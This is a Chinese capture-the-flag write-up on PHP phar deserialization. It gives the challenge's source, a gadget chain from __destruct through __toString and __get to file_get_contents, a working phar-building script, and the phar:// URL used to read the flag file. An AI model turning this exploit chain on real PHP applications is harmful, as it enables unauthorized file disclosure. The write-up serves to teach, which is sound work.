WEB安全之反序列化(二)

137 阅读2分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第15天,点击查看活动详情

三、phar反序列化

前置知识phar反序列化

在php中我们以前都是使用unserialize 函数来进行反序列化。但其实php在通过phar://伪协议解析phar文件时,都会将meta-data的数据进行反序列化。

题目打开有3个页面,首页、查看文件、上传文件。先尝试上传木马文件,后无果。 接着看到了查看文件页面,它url中有个file= 我们尝试给赋值index.php可以直接看到代码。

F12 查看源码,发现提示flag在 f1ag.php 下。尝试直接读取,发现被ban了。

接着我们该去代码审计了,把需要的文件源码都读一下,这里我就只读class.php:


<?php

class C1e4r

{

public $test;

public $str;

public function __construct($name)

{

$this->str = $name;

}

public function __destruct()

{

$this->test = $this->str;

echo $this->test;

}

}

  


class Show

{

public $source;

public $str;

public function __construct($file)

{

$this->source = $file; //$this->source = phar://phar.jpg

echo $this->source;

}

public function __toString()

{

$content = $this->str['str']->source;

return $content;

}

public function __set($key,$value)

{

$this->$key = $value;

}

public function _show()

{

if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {

die('hacker!');

} else {

highlight_file($this->source);

}

  


}

public function __wakeup()

{

if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {

echo "hacker~";

$this->source = "index.php";

}

}

}

class Test

{

public $file;

public $params;

public function __construct()

{

$this->params = array();

}

public function __get($key)

{

return $this->get($key);

}

public function get($key)

{

if(isset($this->params[$key])) {

$value = $this->params[$key];

} else {

$value = "index.php";

}

return $this->file_get($value);

}

public function file_get($value)

{

$text = base64_encode(file_get_contents($value));

return $text;

}

}

?>

还算友好,提示我们使用phar://

审计分析

前置知识phar反序列化

在php中我们以前都是使用unserialize 函数来进行反序列化。但其实php在通过phar://伪协议解析phar文件时,都会将meta-data的数据进行反序列化。

制作方法

首先我们需要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

修改后我们使用大致的模板:


<?php

  


$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的$a存入meta-data,最后被反序列化

$phar->addFromString("exp.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

如上面代码,我们只需要将需要反序列化的代码赋值给$a就可以了。运行后就会出现一个phar.phar后缀名的文件,且它生成后文件名可以随便修改,不会丢失它文件的属性。

**代码审计**

<?php

class C1e4r

{

public $test;

public $str;

public function __construct($name)

{

$this->str = $name;

}

public function __destruct()

{

$this->test = $this->str;

echo $this->test;

}

}

  


class Show

{

public $source;

public $str;

public function __construct($file)

{

$this->source = $file; //$this->source = phar://phar.jpg

echo $this->source;

}

public function __toString()

{

$content = $this->str['str']->source;

return $content;

}

public function __set($key,$value)

{

$this->$key = $value;

}

public function _show()

{

if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {

die('hacker!');

} else {

highlight_file($this->source);

}

  


}

public function __wakeup()

{

if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {

echo "hacker~";

$this->source = "index.php";

}

}

}

class Test

{

public $file;

public $params;

public function __construct()

{

$this->params = array();

}

public function __get($key)

{

return $this->get($key);

}

public function get($key)

{

if(isset($this->params[$key])) {

$value = $this->params[$key];

} else {

$value = "index.php";

}

return $this->file_get($value);

}

public function file_get($value)

{

$text = base64_encode(file_get_contents($value));

return $text;

}

}

?>

先大概的看一遍,首先我锁定了Test::file_get 因为它有个file_get_contents接着我们想想如何利用它。

发现在Test 类中有这么一个链: __get –> get –> file_get

那么我们怎么利用到Test::__get ?它是一个魔术方法,只要我们调用此类中不存在的变量就会调用它。

我们看到show::__tostring 它有一个$content = $this->str['str']->source; 只要这里的str['str'] 是Test类而Test类中又没有source变量,所以会调用到__get 。 那么,怎么才会执行到show::__tostring ?它也是一个魔术只要此类被当成字符串操作就会调用它。

我们再看到C1e4r::__destruct,它会在实例被摧毁之前调用且它里面有一句echo $this->test; 这里触发到了show::__tostring

**生成相应phar**

<?php

class C1e4r

{

public $test;

public $str;

}

  


class Show

{

public $source;

public $str;

}

class Test

{

public $file;

public $params;

}

$a=new C1e4r();

$b=new Show();

$c=new Test();

$c->params['source']='/var/www/html/f1ag.php';

$b->str['str']=$c;

$a->str=$b;

  


  


$phar = new Phar("phar.phar"); //后缀名必须为phar

  


$phar->startBuffering();

  


$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的$a存入meta-data,最后被反序列化

$phar->addFromString("exp.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

解题

通过上面的分析,我们使用脚本生成一个phar.phar随后改后缀为jpg,通过上传页面进行上传。 但是现在又有一个问题,我们如法确定其文件名,我们通过源码读取发现func.php中做了相应的改名操作:

function upload_file_do() {

global $_FILES;

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

//mkdir("upload",0777);

if(file_exists("upload/" . $filename)) {

unlink($filename);

}

move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);

echo '<script type="text/javascript">alert("上传成功!");</script>';

}

我们知道它是将我们的文件名和ip进行了md5,然后拼接.jpg,ip页面有显示,我们直接可以用php得到我们的文件名,然后进行访问。

/file.php?file=phar://upload/b2b0d4bb5f320724c43535a67b7b2d52.jpg

当然你直接访问/upload也可以发现我们上传的文件。通过上面的payload我们顺利拿到flag。